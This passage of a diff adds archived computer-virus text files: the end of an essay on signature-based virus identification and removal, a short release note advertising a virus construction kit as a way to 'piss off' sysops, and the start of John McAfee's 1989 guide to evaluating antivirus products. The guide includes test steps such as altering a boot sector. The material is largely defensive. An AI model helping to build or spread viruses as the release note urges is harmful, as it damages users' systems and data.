indicated that the suspect +program contained instructions or messages of a questionable nature - +implying that the program might be a generic trojan. This, however, +is not sufficient for dealing with viruses. + Viruses create entirely different problems than bombs or +trojans. Viruses replicate, and can infect hundreds or even thousands +of programs within an installation. They remain invisible for long +periods of time before they activate and cause damage. And, they are +difficult to remove because they imbed themselves within critical +segments of the system. It is not sufficient to know that a virus is +present, it is necessary to know which virus is present. We must know +how it infects, what actions it takes, and, most importantly, what +must be done to de-activate and remove the virus. + Thus, when the first virus identification products emerged in +1986 they didn't just look for generic code or messages, they looked +for specific indications that could identify the individual virus +strain. This allowed the user to verify a specific infection +occurrence and take appropriate action. Later versions of these +products went a step further. They actually removed the virus when an +infection was identified. + +Techniques + Before we discuss the techniques used by identification +products, we need to look briefly at how viruses insert themselves +into programs. As shown in Figure 1, viruses actually modify the +structure of the programs that they infect. Generally, the virus +replaces the program's start-up segment with a routine that passes +control to the main body of the virus. This main body code may be +inserted within the program in a buffer area, or it may be added to +the beginning or the end of the program. After execution of the +virus, the program's original start-up sequence is replaced and +control is passed to the program. + When removing a virus from an infected program, it is crucial +to determine exactly how the virus modified the program. Each virus +differs from other viruses in size, segmentation and technique. Each +virus chooses a different area for infection, stores the start-up +sequence in a different location. and return control in a different +manner. We must know exactly what the virus did during the infection +process in order to reverse the steps for removal. + Thus, it should be clear that in order to develop an antidote +for a specific virus, we must first obtain a copy of the virus for +analysis. A thorough analysis of the structure and design of the +virus will provide the answers to all of the above questions. + When a virus has been disassembled and analyzed, we in theory +know all there is to know about the virus. We are then able to create +an "attribute file" for the virus. This file contains all of +characteristics of the virus that can be uniquely assigned to the +virus. For example, we may find imbedded data within the virus that +we would not reasonably expect to find in any other program or data +file. Or we may find an instruction sequence that is sufficiently +unusual that we would not expect any other program to use the exact +same sequence. Figure 2 shows two virus examples that contain unique +imbedded data. In the Pakistani Brain example, it is clear that we +would not expect to find the exact same name, address and telephone +number in any other program. + In addition to "identification" attributes, the attribute file +contains all information necessary to reverse the virus infection +process. Common elements of an attribute file might be: + - Executable code signatures + - Volume label flags + - Hidden file names + - Absolute sector address contents + - Key data at specific file offsets + - Specific interrupt vector modifications + - ASCII data content + - Specific increases in bad sector counts + When the attribute file has been created, it is inputted into +a program that scans all of the appropriate areas of system storage +looking for combinations of the attributes. As more attributes are +discovered, the degree of assurance that the virus is present +increases. For example, the character string "sUMsDOS" is common to +all versions of the Israeli virus. It is conceivable, however, that +the same string could appear randomly in any text file. Therefore, +the identification program will look for verification attributes, such +as the file offset where the character string was located, or a +sequence of instructions following the data. + When the virus has been identified, the removal phase begins. +Since the infection attributes of the virus are known, the removal +process is fairly straightforward. Usually it involves locating the +main body of the virus and all segments of the original program that +had been re-located by the virus. The virus is erased, and the +program is then re-constructed. + Clearly, multiple attribute files can be used by a single +program. Thus, single identification products are able to identify +multiple strains of viruses (see Figure 3). + +Product Advantages + Infection identification products have a major advantage over +other types of virus protection products: They are able to determine +whether or not a system is already infected. This is a serious +concern in many organizations. Other classes of virus protection +products must assume that a given system is uninfected at the time the +products are installed. They log the state of the system at the time +they are installed and periodically compare the current state to the +original state. If a virus has infected the system in the interim, +the change will be detected. If a virus has already infected the +system before such products are installed, however, the virus will be +logged as part of the original system, and no change will be detected. + Infection identification products, on the other hand, are +specifically designed to look for and identify pre-existing +infections. This ability to identify an existing infection is in many +cases crucial to the success of implementing antiviral measures. +Since a virus may remain dormant for months or even years before it +activates and damages the system, pre-existing infections could cause +widespread destruction in spite of our best efforts at implementing +protection programs. + Automatic removal is the second advantage of identification +products. Virus infections can sometimes involve hundreds or +thousands of programs within an organization. When the virus is +discovered, the task of tracking down and disinfecting all of the +infected programs can become monumental. In many cases, multiple +versions of a single program may be infected, or the original source +diskettes may have been lost or misplaced. In some cases, infected +programs may be overlooked or incorrectly replaced, so that re- +infection becomes a problem. These and other issues invariably cause +problems. The identification products, however, automatically find, +identify and remove the infection, normally at a rate of a few seconds +per infected program. The time savings alone can be enormous. + A third advantage to identification programs is that they +cannot be circumvented by a known virus. Other types of products that +use active methods for infection prevention or detection can be +specifically targeted by viruses. The virus can seek out and destroy +or disable the active element of such products. For example, if the +product is a filter type product that monitors all system I/O, the +virus can steal the interrupts from the monitor and thus bypass the +program's checking function. Likewise, if a protection program uses a +checksum or other method to look for change within a program, the +virus can modify the program's checksum routine so that the change +caused by an infection will not be detected. These and other +techniques have been used by many viruses to avoid interference by +antiviral programs that use active detection methods. + Identification products, on the other hand, cannot be so +easily circumvented. Since these products use passive techniques, the +virus has no control over the products' functions. Keep in mind that +the virus and its resultant system modifications are merely a sequence +of inert bits as far as the identification product is concerned. Also +the virus is not active at the time the product is being used (all +such products come with their own boot diskettes, and they run +stand-alone). Thus, the virus can in no way affect the product's +operation, or even be aware of its presence. + +Problem areas + There are some drawbacks to identification products however. +The first problem is that these products only work for known viruses. +That is, a virus that has been around long enough to be noticed, +isolated, sampled, disassembled and analyzed. This may take a +considerable time if the virus is unobtrusive and slow to activate. +When the virus has been discovered and analyzed, the identification +product must be designed, implemented, packaged, marketed and +distributed - a process that could take considerably more time. Thus +identification utilities will lag new virus developments by months, or +in some cases, even years. This time lag implies that there will +always be new viruses, and thus new dangers, against which no +identification utility will be effective. + The second problem with these products is more thorny, and +requires a high level of product sophistication in order to resolve. At +issue is a phenomenon that might be called the Uncertainty Factor, and +it is caused by the increasing tendency of hackers to collect existing +viruses, modify them and return them to the public domain. These +modifications sometimes cause viruses to react differently from the ways +in which they were originally designed, yet they may leave key +identification attributes unchanged. + For example, the Jerusalem virus was originally designed to slow +down the infected machine's processor one-half hour after an infected +program was executed. This slowdown was a nuisance to the user of the +infected machine, but it severely limited the spread of the virus, +because the virus made itself known early in the infection process and +had limited time to replicate before being removed. In the summer of +1988, an unknown hacker modified the virus by changing just one +instruction (see Figure 4). This modification disabled the routine that +caused the system to slowdown, and as a result, the virus became many +times more infectious. + Modifications like this, and other more substantial +modifications, are made almost daily to existing viruses. The danger +that these modifications pose to identification products is substantial. +If an identification product is attempting to remove a virus that has +infected a program differently than the way in which the product +expects, then the results of the disinfection will be unpredictable. +Damage to the system may result, the program may be destroyed or, in the +worst case, the virus will still be active even though the product +thinks it has removed it. + In order to minimize the risks posed by this problem, +identification products must be designed to cross reference as many +virus attributes as possible prior to attempting removal. If any one of +the expected attributes has been changed, or is missing, the product +should notify the user of the potential problem and manual intervention +will be required. + +Future Prospects + Identification products clearly must play a major role in the +battle against computer viruses. As viruses become more widespread and +as infections become more common, the need for utilities able to +identify and help remove viruses will become apparent. It is probable +that these products will become the dominant form of virus protection in +the future. A few technical advances, however would greatly aid their +general acceptance. + One of the problems facing identification products is the time +required to fully scan attached storage devices when searching for a +virus. For example, as many as ten or more minutes can be required to +fully scan a 40 megabyte drive while looking for just one virus. +Multiple virus checks require more time. Because of this, it is +impractical to perform frequent scans of the system. This is +unfortunate because it would be advantageous to perform a complete +identification check of a system each time the system was booted. This +would provide a high degree of system security, assuming that the +identification product was kept up to date. More sophisticated +algorithms for searching attached storage and creative techniques for +multiple virus scans could alleviate the time scan problem. + A second desirable advance in the technology of these products +would be the development of techniques that could identify variations of +known viruses and still provide the capability to remove the modified +virus. This advance would remove a major limitation of the current +products and would greatly increase their reliability. Techniques for +removing variations have already been developed for a few root viruses, +but there currently exists no generic technique that is effective for a +large class of viruses. I anticipate that this hurdle will be overcome +within a year or two. + A final enhancement would be the ability to fully or partially +re- structure data that has been corrupted by a virus after it has +activated. Currently, infection identification products are only useful +if they are used before a virus begins its destructive phase. When the +destructive phase begins, the virus may destroy critical control tables, +data files, programs or even itself. At this point all current virus +products have limited usefulness. + It is possible in some cases, however, to reverse much of the +destruction caused by a virus provided: 1) We know the details of the +destruction process, and 2) The destructive phase has not gone on too +long. For example, one of the common PC viruses scrambles the File +Allocation Table by reversing a number of the entries. Since we know +the exact way in which the virus scrambles the information, we can +easily unscramble it. However, after a few days of data scrambling, the +virus initiates a low level format of the hard disk. At this point, no +recovery is possible. + I anticipate that future products will incorporate recovery +capabilities for a large number of virus destructive acts. This +capability, and others described above, should provide the best virus +protection that we can hope to achieve. diff --git a/textfiles.com/virus/illegal.nfo b/textfiles.com/virus/illegal.nfo new file mode 100644 index 00000000..a53b8dec --- /dev/null +++ b/textfiles.com/virus/illegal.nfo @@ -0,0 +1,36 @@ + + 栢栢栢栢 栢栢栢栢 栢栢栢� 栢栢 栢栢栢� + � � 栢栢栢 � � � 栢栢栢 � 栢 � � 栢 栢栢� � 栢� � + � � 栢栢栢 � � 栢栢栢 � � 栢� � � � 栢 � � 栢� � + 栢 � 栢栢� 栢 � 栢栢 栢 栢 � � 栢 � � 栢 � � + 栢 � 栢栢� 栢 � 栢栢� 栢 � � 栢 � 栢 � � 栢 栢� 栢 + 栢 � � 栢栢栢 � � 栢栢栢 � 栢 � 栢栢栢 � � 栢 栢� 栢 + 栢栢栢栢 栢栢栢栢 栢栢栢� 栢栢 栢栢栢� + + � THe uNSTOPPaBLe CRiMe MaCHiNe � + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=- + + 캄RELEASE�INFOMATION�� + + File name : [.IL-SMG03.ZIP..............................................] + Created by : [.Dr.d00M...................................................] + Date : [.11/12/94..................................................] + + Special Intruction : [.Really piss people off with this one.............] + + General Instruction : [.You need to know a little bit about programming..] + [.to get this one to work, but the examples make...] + [.it VERY easy to make your very own virus.Just....] + [.read the docs, and all will become clear.Easy....] + [.to piss of people and BbS sysops you don't like,.] + [.and get your name in some computer mags !!!......] + [..................................................] + + Greetz go out to : [.Everyn Carnate, Lucifer, The Big H, Bof..........] + [.The Black Baron..................................] + [..................................................] + [..................................................] + [..................................................] + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=- diff --git a/textfiles.com/virus/implemen.mca b/textfiles.com/virus/implemen.mca new file mode 100644 index 00000000..642b3850 --- /dev/null +++ b/textfiles.com/virus/implemen.mca @@ -0,0 +1,765 @@ + + IMPLEMENTING ANTI-VIRAL PROGRAMS + + Copyright (c) 1989 + By John McAfee + 4423 Cheeney Street + Santa Clara, CA 95054 + 408 988 3832 + + In 1988 the Computer Virus Industry Association received over +25,000 requests for information about computer viruses from +corporations, government agencies, special interest groups, and +individual computer users. Questions ranged from - "How do I know if +my system is infected?" to - "Where can I get a copy of a virus to play +with?" A large number of organizations wanted to know if the CVIA +recommended procedures or policies that would minimize infection risks +(it does). A smaller number requested help in setting up in-house +anti-virus training seminars. Some asked for help with removing an +existing infection or with identifying the individual strain of virus +that they had discovered. Others wanted to know why a particular virus +infection kept recurring. A few wanted to know whether or not viruses +really existed (is it all media hype?). One apparently legitimate +caller wanted to know if any cases of human infections had been +recorded - the winner in the imaginative question category. + Within this body of requests, however, were two questions which +have become the two most frequently asked (and most difficult to +answer) questions concerning computer viruses. They are: "How can you +tell whether or not a particular anti-viral program really works?" and +"How do these products function?". + At first glance, the answer to the first question seems obvious - +test it and see. Just how, though, is not entirely clear to the +average computer user. A person seriously trying to put together a +test plan for validating anti-viral products will be faced with some +staggering problems. Imagine yourself with such an assignment. The +first problem that might come to mind is where to find a few dozen +viruses that can be used as a test bed. Next (assuming that someone +else will solve that problem or that it will otherwise go away), is how +to go about running these viruses in a test environment without +infecting your entire organization. + If you overcome these first obstacles, you will then come face to +face with the real issues: How do you measure the degree of the +product's effectiveness, considering the fact that all viruses affect +the computer system differently, and many show no measurable impact for +months, or even years, after the initial infection? How do you test a +product against "generic" viruses - that is - viruses that may not have +been written yet but against which the product claims to be effective? +(There are, by the way, effective generic anti-viral products). How do +you even verify that a given virus has or has not infected the system +during a test? Many viruses leave no externally visible trail - not +even the size of the infected program will change. Additionally, many +viruses have anti-detection mechanisms built in that make it extremely +difficult to find the virus after an infection. + These are just a few of the problems that will crop up during the +development of an anti-viral product test plan. And the problems will +not be helped by the slim likelihood of achieving points one and two +above: You will likely find it difficult to acquire a test bed of live +viruses and if you do, it is unlikely that you can carry out a +successful extended test without endangering the rest of the +organization. Experience has shown us that virus containment is a +tricky task. They are extremely difficult to detect without special +tools and they spread very quickly. Even if a completely isolated +environment is used for testing, there will, from time to time, be a +requirement to carry potentially infectious media into and out of the +environment. The propensity for human error being what it is, a leak is +virtually guaranteed given enough time or enough participants. + There have been well meaning, but generally flawed attempts to +solve some of the above problems through the development of virus +simulators and specialized tools designed to validate anti-viral +products. Most of the available utilities, however, were designed by +the very people who manufacture and market the anti-virals, and their +objectivity might be open to question. A second problem with these +utilities is that not all virus activity can be simulated. Every new +virus uses a different technique for trapping interrupts, bypassing the +operating system or attaching to an application. Additionally, its +technique for activating or causing damage will differ, and its basic +replication mechanism will be unique. Because of these problems, the +validation programs have limited utility. + Does this mean the task is hopeless? Not at all. It simply +means that some education is in order. The first thing needed is an +understanding of just how anti-viral products work. By understanding +what these products do, we can better address the question - "how +effective are they?". + +Types of Products + The virus problem has typically been addressed in one of three +ways by individual antiviral programs: + + 1. By preventing generic viruses from initially infecting a + system. These products are not keyed to any particular + virus. They work by preventing any activity that could + modify a program or executable segment of the system. + + 2. By detecting a generic infection after it has occurred. + These products also are not keyed to any particular virus. + They look for any modification that may have occurred to any + executable component of the system. + + 3. By identifying specific viral strain infections and, + usually, removing them. These products are effective only + against known viruses. + + There has been much confusion about the relative utility of virus +products due to a limited understanding of the above categories. Some +critics, for instance, have stated that anti-viral products have +limited utility because they only work against known viruses. This +statement is valid, however, only for the third category of products. +These products have been designed primarily to help remove existing +infections and their benefit is apparent to anyone who has been +infected and had used such products to clean their system. All of the +more common virus strains are addressed by these products and a user's +chances of acquiring a product that can fight a given infection are +fairly good. Most such products list the specific viruses that they +can remove. + Another common misconception involves the "Vaccines". These +products "inoculate" programs with a self test mechanism that can +identify changes to the program. They are frequently thought of as +prevention products because the word "vaccinate" connotes a preventive +measure in general medicine. These products, however, are in reality +infection detection products. They work only AFTER the program has +become infected. Reviewers have frequently (and erroneously) pointed +out that such products don't work because they didn't prevent a given +infection. + Likewise, infection prevention products have been panned because +they were unable to "identify" a pre-existing infection. This +confusion has reached a pinnacle in some of the organized efforts to +formally evaluate anti-viral products. The test criteria for a product +designed to remove an existing virus infection must be radically +different from the test criteria for products designed to prevent the +infection from occurring, and these criteria in turn will not be +applicable to infection detection products. Yet numerous evaluations +have been performed in which all three product types were judged by the +same criteria. The results, to some minds at least, were completely +meaningless. + It must be understood that each product category is designed for +different purposes, and is intended to be applied to different virus +problem areas. A first prerequisite to testing product effectiveness, +therefore, would be a solid understanding of what the product was +intended to do, and how the product goes about doing it. + +How They Work + Let's start with the infection prevention products. These +products are all memory resident programs that re-direct system +interrupts so that I/O and other selected system activities can be +monitored. The programs then filter all activity that could indicate +the presence of a virus and they notify the user of a potential +infection. Attempts to modify the boot sector, write to an executable +program or replace a hidden file are examples of activities that would +be intercepted and flagged by such programs. Generally, any activity +that appears to be an attempted modification of an executable segment +of the system, such as a device driver, operating system module or +application program, would be filtered. + These programs are the first line of defense against viruses, and +if properly designed and implemented, can prevent a virus from ever +getting into a system. Since they can catch a virus before it can +replicate, no removal or disinfection procedure is required and the +virus usually has no time to do any damage to the system. These +programs are also generic in their operation - that is, they can in +theory catch viruses that have not yet been developed. This is because +all viruses must replicate, and it is the generic replication process +(i.e. attaching to an executable segment of the system) that is +monitored by such products. + These products, however, have three drawbacks which restrict the +environments to which they can be applied and limit the effectiveness +of their prevention abilities. + The first drawback is that a fair amount of technical competence +is required in order to use them effectively. Users must be able to +discriminate between a legitimate program activity that is flagged by +the product and a real virus threat. Numerous legitimate programs may +at times perform functions that appear to be questionable. For +example, some applications modify their own executable modules during +their configuration phase. Compilers, assemblers and linkage editors +legitimately modify or replace executable code. The DOS SYS command +will legitimately modify the boot sector and operating system files. +These and other programs may cause the anti-viral prevention product to +flag the activity and notify the user. The user must then have a +sufficient knowledge of the program or activity in process to +determine whether to allow it to proceed or to terminate it. Many +system users do not have the necessary technical depth to make a valid +decision. + A second drawback is the de-sensitization of the user caused by +the false positives generated by these programs. If the prevention +product flags too many legitimate activities, the user becomes +conditioned to respond to the warning messages with a "continue" reply, +without bothering to read the specific warning content. In many cases, +real viruses have been detected by these products and the user ignores +the warning message through course of habit. + The third drawback to these products is that they rely on the +virus being "well behaved" in its design structure. That is, they +expect the virus to perform all I/O through normal system calls or +software interrupts. Generally this is a reasonable +assumption, since it is many times simpler to use the I/O +facilities of the operating system than it is to develop your own +basic I/O system. It also allows the program to operate on a +wider variety of hardware without risk of program failure. Some +virus designers, however, are beginning to take the extra effort, +and run the increased risks, of interfacing directly to the +hardware input/output devices. By doing so, they completely +neutralize the infection prevention products' interrupt +monitoring. No matter how cleverly software interrupts are +trapped, or memory monitored, it is ineffectual if the virus +never gives up processor control through an operating system +call. + In general then, we can say that infection prevention +products provide the advantage of stopping a virus before it can +infect your system and thereby prevent the virus from spreading. +They also are effective against a large class of generic viruses. +They should be used, however, only by competent system users, and +- they contain a major loophole that can be used by sophisticated +viruses to avoid the product's protection mechanism.. + +Infection Detection Products + Infection detection products rely on the assumption that it +is advantageous to discover an infection as soon as possible +after it occurs. Viruses remain in systems for months or even +years prior to activating and causing system damage. During this +time their only activity is replication, and they take every +precaution to remain undetected. Viruses require this +"unobtrusive" phase in order to have the opportunity to duplicate +themselves onto other systems - a necessary step in the process +of spreading. Infection detection products, then, attempt to +identify an infection as soon as possible after it has occurred, +thereby limiting the spread of the virus within the organization +and avoiding the virus destructive phase. + Detection products operate in one of two ways: vaccination, +or status logging. Vaccination products modify the system's +executable code (programs, device drivers, etc.) to include a +self test mechanism. This self test function will cause a +warning whenever the code has been modified. The warning will +occur at the time the code is executed. Status logging +products, on the other hand, create a log file that contains all +the information necessary to detect any questionable change in +the system. The file usually contains a list of checksums of the +executable code in the system, or it may contain other such +information that can be used to identify change. A check +function is then run periodically, usually at boot time, to +evaluate the boot sector, operating system files, device drivers +and all application programs. If a modification is discovered, a +warning message occurs indicating the areas of the system that +have become infected. + It should be noted at this point that detection products +will only work if the system is uninfected at the time the +product is installed. If an infection has already occurred, the +virus code will be logged as part of the program it has infected +and the compare routines will never find the discrepancy. + Detection products avoid the interrupt monitoring loophole +of the prevention products. Because, irrespective of the +sophistication of the virus infection mechanism, some segment of +executable code will have changed after the infection has +occurred, and detecting this change is usually a straightforward +process. The disadvantage of such products, however, is that, +unlike prevention products, the system must actually become +infected before the flag is raised. Thus a disinfection process +must be undertaken and there is also a slight risk that the virus +will activate and cause damage before it can be detected. + An additional drawback of the vaccination type of detection +products is that many viruses cannot be detected using this +method if they replace an entire section of code rather than +modify it. Boot sector viruses are a prime example. They +replace the boot sector with themselves. Thus, any vaccination +code that had been applied to the boot sector would never have an +opportunity to execute, and no warning would ever occur. This is +a serious drawback of the vaccination approach. + +Infection Identification + Identification products are designed to identify and, in +some cases, counteract specific strains of existing viruses. +They are not generic in function, that is - they cannot detect or +remove viruses that are not commonly known. They work by +scanning the system media, looking for characteristic code +segments, identification flags or other signs left by a given +virus strain. Since viruses are programs with specific functions +and characteristics, each will have some unique discriminating +attribute that can be used to distinguish it from the surrounding +data and code indigenous to the system. Finding these unique +attributes within the system is a certain sign of infection from +the identified virus. + Identification products perform two distinct functions: +First, they can be used to scan a system and determine if it is +infected with a given virus. Using multiple identification +products (or a single product capable of identifying multiple +viruses), a user can determine whether any of the more common +viruses have already infected the system. This will provide a +higher probability that the system is clean prior to implementing +a prevention or generic detection product. Second, they are +invaluable in helping to remove an existing infection from an +organization. + One of the major difficulties in removing a virus from an +organization that has suffered a widespread infection is +identifying all of the programs, files, removable media and other +elements of the system that have been affected. Identification +products can quickly and reliably size the scope of an infection +and identify those elements of the system that must be +disinfected. In many cases the products can, in addition, repair +any damage that has been done and restore the system to its state +prior to the infection. A great deal of manpower and other +resources can thus be saved through the use of such products. + Identification products are limited, however, in providing +protection against newer viruses, or older viruses that may not +have publicly surfaced. In order to develop an identification +product, the virus must first be discovered and isolated. Then +it must be disassembled and analyzed. Finally an effective +countermeasure must be designed, implemented, and distributed to +the public. The time lag for this process will stretch from a +few months to a year or more. This "window of opportunity" for +new virus developers will be a continuing barrier for such +products. + + The three types of protection products that have been +described above are not always clearly separable in the +marketplace. Some products combine two or more programs, each +addressing a single protection area, into a single package, much +like a set of virus utilities. Other products may focus on a +single type of protection but only provide a partial solution. +For example, there exist infection detection products that will +only detect changes to operating system files, ignoring all other +executable code. All products to date, however, provide +protection programs that can be grouped into one or more of the +above categories. + +Important Features: + Now that we have a fair understanding of what these products +are doing, we can address the issue of "how well do they work?". +Each type of product, it should be clear by now, should have a +different set of criteria for judging performance. Let's take a +look at these criteria: + +Infection prevention criteria: + + Infection prevention products should, at the minimum, be +able to: + - Differentiate between activities initiated by the user + and activities carried out autonomously by programs. + For example: Users may frequently delete or update + program files or operating system segments, and this is + a normal system activity. An application program, on + the other hand, should not, under normal circumstances, + modify another application program, an operating system + program, or the system's boot sector. Such processes + are indicative of virus activity. The infection + prevention product should be able to discriminate + between them. + + - Provide few false positives, or false alarms. Users + become habituated to frequent false alarms and tend to + overlook a valid virus warning when it does occur. + + - Run with other memory resident programs. Infection + prevention programs are all memory resident and they + modify a large number of software interrupts. This + gives such programs a propensity for crashing or + hanging the system when running concurrently with other + memory resident programs. + + - Protect against modifications to all executable data, + including the following: + + - The system's boot sector + + - All system device drivers + + - All operating system modules, including hidden + file programs + + - All application programs + + - Provide an easily accessible enable/disable switch. + Many instances will occur where the checking process + will need to be temporarily suspended. A simple on/off + switch is a necessity. + + - Provide the ability to selectively protect or ignore + specific programs or specific areas of the system. + This will reduce the number of false alarms when + running programs which violate the "rules" imposed by + the product. + + - Provide the ability to freeze virus activity when it is + detected, and prevent the illegal access from + continuing. This is mandatory to prevent the virus + from infecting the system. + + - Run without noticeably degrading system performance. + Memory resident programs have a tendency to increase + system overhead and thus slow down the system. A well + designed product should cause no more than a 5% + degradation in system performance. + + - Monitor and protect all attached read/write devices. + All attached devices that can be written to are + potential virus targets. The prevention product should + protect all such devices. + + - Selectively prevent all interrupt level I/O. An + additional degree of protection is provided if the + product disallows programs from performing non-standard + calls for I/O service (interrupt level requests). + However, doing so increases the false alarm rate. The + user should have the choice of allowing or disallowing + such calls. + +Infection detection criteria: + + Infection detection products should at a minimum be able to: + - Detect characteristic viral modifications to all + executable data, including the following: + + - The system's boot sector + + - All system device drivers + + - All operating system modules, including hidden + file programs + + - All application programs + + - Allow the user to selectively exclude specific + programs or specific areas of storage from the checking + function. This will allow programs or directories that + undergo frequent change to avoid causing error messages + during the checking process. + + - Perform global check functions in a timely fashion. If + the check function is executed at boot time, for + example, it should add no more than 10 seconds to the + boot sequence for each 50 programs on the disk that + must be checked. + + - Provide automatic checking. The check function should + execute at least each time the system is powered on or + re-booted. Some systems provide a clock function so + that the system can be checked automatically at user + specified time intervals. + + - Stop the system, provide a visual and audible warning, + and wait for user directions if a potential virus is + detected. + + - Display the names of all infected programs, or clearly + identify the areas of the system that have become + infected. + +Infection Identification + + Infection Identification products should be able to: + - Identify and remove multiple virus strains. The number + of existing viruses continues to increase. So, when an + infection occurs, it is not always possible to + positively identify the infection strain. The more + viruses that the product can distinguish, the better + the chances of identification. + + - Provide information that will allow the user to + determine how accurate the diagnosis may be. In some + circumstances, identifying a given virus is not as + precise as one might think. This is because many + viruses have been slightly modified by unknown hackers + and re-introduced into the public domain. These + modified viruses can sometimes only be detected by + cross referencing many different characteristics. The + product should provide the degree of certainty, or + other information that can be used to determine a + course of action, for any questionable virus. + + - Identify and report on all areas of the system that are + infected. It is important to know the extent of + infection, and the product should provide that + information. + + - Inform the user about the degree of success for the + removal. Depending on the time that the virus has been + in the system, removal may or may not be possible. The + product should inform the user of possible options in a + questionable situation. The options available should + include automatic removal or erasure of the affected + system element. + + - Scan and remove the infection from all attached + devices. This should include floppies, fixed and + removable hard disks and tape devices. + + - Automatically scan all subdirectories. The product + should be capable of locating all areas of the system + where the infection may have lodged, without user + assistance. + + - Flag all areas of the system where removal was + partially or completely ineffective. These areas must + be manually dealt with after the program finishes. + + - Prevent itself from becoming infected during the + identification and removal process. This is a real + danger for many of the identification products. An + infected identification product will run the risk of + infected every system on which it is used. + + +Testing Procedures + + Now that we have seen how these products work and we have +been exposed to the central criteria for evaluating them, we are +ready to begin the actual testing. The effectiveness of these +products can usually be determined without having to use +specialized tools. All that's required is a word processor or +text editor, a good disk utility such as the Norton Utilities, a +knowledge of common operating system commands and a sound +understanding of the issues we've discussed so far. + The test procedures that are recommended below will possibly +not provide the degree of product assurance that could be +ascertained by experienced virus specialists testing in a +laboratory and using live viruses. They will, however, provide a +great deal more information about the product's performance than +could be gleaned from reading the product documentation or sales +literature. They will also provide more information than quite a +few of the published product reviews that have been performed, if +only because you will gain hands on experience with the product +in your operating environment. Any product that performs well in +the following tests is guaranteed to provide some degree of real +protection. + Let's start with the infection prevention products: + +Infection Prevention Product Testing: + + These products, remember, are basically filter programs that +monitor the system and try to prevent viruses from initially +infecting programs or other executable components. The testing +should determine how well the products protect these system +elements from modification. The tests should also determine how +sensitive these products are to valid system activities that +might trigger a virus warning. The ideal product will catch all +truly questionable activities while ignoring all normal system +activities. The following procedures will provide a good +indication of the product's effectiveness: (Be sure to install +the antiviral product prior to running these tests). + +I. Program modification test + To test the product's ability to protect general executable +programs from being modified, create a temporary subdirectory and +copy your word processor or text editor into the subdirectory. +Create two output text file named TEST, one with a .EXE +extension and the other with a .COM extension. Then attempt to +update the file using the word processor or a text editor. If +the antiviral program is working properly, it should flag both +the creation and the update as a potential infection. Next +create output files named IBMBIO.COM, IBMDOS.COM and +COMMAND.COM. Attempt to modify them. Each attempt should be +prevented. Finally, create output files with the same names as +each of the installable device drivers in your system. (check +your CONFIG.SYS file to determine the names of your device +drivers if you do not already know them). Attempt to modify each +of them. Each attempt should be prevented. + Repeat each of the above steps using a floppy diskette as +the output device, instead of the hard disk subdirectory. The +same results should occur. + +II. Interrupt level I/O test + Next, we need to test the product's ability to prevent +interrupt level I/O. To do this, first copy the FORMAT routine +to a file named TEST.COM. Run TEST and format a floppy diskette +in the A or B drive. The antiviral program should prevent the +format and flag the attempt. + +III. Operating system command test + We next need to check the use of operating system commands. +User commands are frequently, and erroneously, flagged by +antiviral products when they instigate operations that mimic +virus activities. It is important to select a product that can +discriminate between activities instigated by the user and those +that occur through program processes. To test this capability we +use some standard DOS commands. + Using standard COPY, DELETE and RENAME commands, copy an +executable program into a different directory, rename it to +another EXE or COM file name, and then delete it. None of the +three operations should be flagged by the antiviral program. + +IV. Copy, rename and delete test + Next we should verify that the above functions would be +stopped if performed by a program, rather than by the system +user. Using any application utility program that has copy, +rename and delete functions (such as X-TREE, Norton Utilities, +etc.), repeat the above series of steps. The antiviral program +should prevent and flag all three attempts as potential viral +activities. + +V. Self modification test + Many programs modify their own executable modules at some +point. This is not characteristic of viruses, and the process +can in no way lead to the spread of the virus. The antiviral +program should not flag or prevent any attempts of a program to +modify itself. To test this, copy your word processor executable +module to a backup file. Then run the word processor, create a +dummy document, and then save it to the name of the executable +word processor module (for example, using Word Perfect, you would +save the file to the name - WP.EXE). The antiviral program +should allow the modification. After this test, copy the saved +version of the program back to its original name. + +VI. Boot sector test + Attempt to modify the boot sector to check the product's +ability to prevent the attempt. It is very important in this +step that you be able to restore the boot sector in the event +that the product's protection mechanism fails. + Using any utility that allows reading and writing the boot +sector (the Norton Utilities is an example), read the boot sector +and write down the contents of the first byte. Change the first +byte to 00 and attempt to write the sector back to disk. The +product should prevent the attempt. If the product fails, +replace the original contents of the first byte and re-write the +boot sector. The re-write should be performed prior to shutting +down or re-booting the system. + +VII. Memory resident check + Many viruses modify the original structure of programs so +that they remain memory resident after they terminate. The +antiviral product should detect any attempt to remain resident. +To test this feature, merely take any normally memory resident +program, such as SIDEKICK or CACHE, and rename it to the file +TEST.COM (or .EXE, depending on the program). Run TEST. The +product should catch the program and display a warning message. + + + In addition to the above tests, you should create a +checklist of the product criteria discussed in the previous +section and review such functions as the enable/disable switch, +selective protection and other issues identified. + +Infection Detection Product Testing + These products identify an infection after it has occurred. +Testing should focus on detecting modifications to executable +components of the system, such as the boot sector, the operating +system or an application program. + Before we describe the test procedures, however, a note of +explanation about how viruses attach to programs is necessary. +Viruses can attach to the beginning, to the end or to the middle +of a program, or any combination of the three. They may fragment +themselves and scatter virus segments throughout the program. Or +they may even keep the main body of the virus unattached to the +program, hidden in a bad sector for example. All viruses that +have been discovered, however, have modified at least some small +portion of the beginning instructions of the program. This is +because a virus must be executed first, that is - before the host +program to which it has attached. If the virus does not execute +before its host program, then the environment in which the virus +"wakes up" will be uncertain, and the possibility of program +failure will be high. + The exceptions to the this "positioning" rule are viruses +that replace the entire program, such as boot sector infectors, +and viruses that attack only specific programs, like known +operating system files or other programs that would be commonly +found in large numbers of systems. These viruses may gain +control at any point, since the structure of the host program is +well known and the environment can be predicted at any point in +the host program's processing. + The implications of this virus attachment profile are very +important: Many detection products make use of this profile to +speed the system checking function. If every byte of every +program is processed in the checksum or other comparison +technique, then global checking functions (scanning the entire +system) may take substantial time to complete. Systems +containing many hundreds of large programs (a common occurence), +may require anywhere from 5 to 15 minutes to complete the audit. +Since a global scan should be performed at least daily, this time +requirement is a significant nuisance to the average user and a +deterrent for the implementation of the product. Products that +only look for the characteristic initial instruction +modifications, on the other hand, would complete the same audit +in a matter of seconds. + All products, however, should perform a complete check of +"universal" programs. These include the boot sector, the +operating system files and the command interpreter. + Armed with this information, we are now ready to begin the +tests: + +I. Boot sector replacement + Using a disk utility program, blank out the "Boot Failure" +message within the boot sector (this is merely a safe way to +create a unique boot sector). Then install the detection product +you wish to test. Next, replace the entire boot 